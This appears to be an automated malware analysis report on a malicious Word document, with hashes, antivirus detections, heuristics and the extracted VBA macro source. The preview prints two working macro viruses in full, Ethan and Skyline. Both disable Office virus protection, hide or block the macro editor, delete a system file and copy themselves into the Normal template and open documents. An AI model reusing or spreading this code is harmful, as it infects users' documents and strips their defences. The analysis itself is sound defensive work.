Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cfa9cf5264b5f4b6…

MALICIOUS

Office (OLE)

277.5 KB Created: 2000-08-08 15:02:00 Authoring application: Microsoft Word 9.0 First seen: 2014-02-16
MD5: 80187e2088212ca1656d1c9db4d8dd5f SHA-1: 022c0334ee80ca6456c946583d53fcf3a771aa44 SHA-256: cfa9cf5264b5f4b6d6e5fb24deb78e653b05a2180963f95669d5736db4ddc831
240 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3129 bytes
SHA-256: 183f98bc06add8d4be7f7550c259409150d95d518e3cdaeb6adbd3f593f22347
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
Attribute VB_Name = "Skyline"
'Name - W97M/Skyline.B
'Author - [Bench]
Dim DeleteMe As Boolean
Sub AutoOpen()
On Error Resume Next
SetAttr NormalTemplate.FullName, vbNormal
If Application.ShowVisualBasicEditor = True Then _
    Application.ShowVisualBasicEditor = False
Call BenchCore
End Sub
Sub ViewVBCode()
On Error Resume Next
DeleteMe = True
With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Heading = "Skyline MV"
    .Text = "You thought you got rid of me, but I'm Still here, better and stronger!"
    .Animation = msoAnimationGreeting
    .Show
End With
Call BenchCore
'Application.ShowVisualBasicEditor = True
End Sub
Sub ToolsMacro()
On Error Resume Next
DeleteMe = True
'Dialogs(wdDialogToolsMacro).Show
End Sub
Sub ToolsCustomize()
On Error Resume Next
DeleteMe = True
End Sub
Sub ViewSecurity()
On Error Resume Next
MsgBox "Access is Restricted!", vbCritical, "Microsoft Word"
End Sub
Sub BenchCore()
On Error Resume Next
ModulName = "Skyline"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
Set Carrier = NormalTemplate.VBProject.VBComponents
Set host = ActiveDocument.VBProject.VBComponents
Else
Set Carrier = ActiveDocument.VBProject.VBComponents
Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
Carrier(ModulName).Export "c:\ascii.vxd"
host.Import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
End Sub

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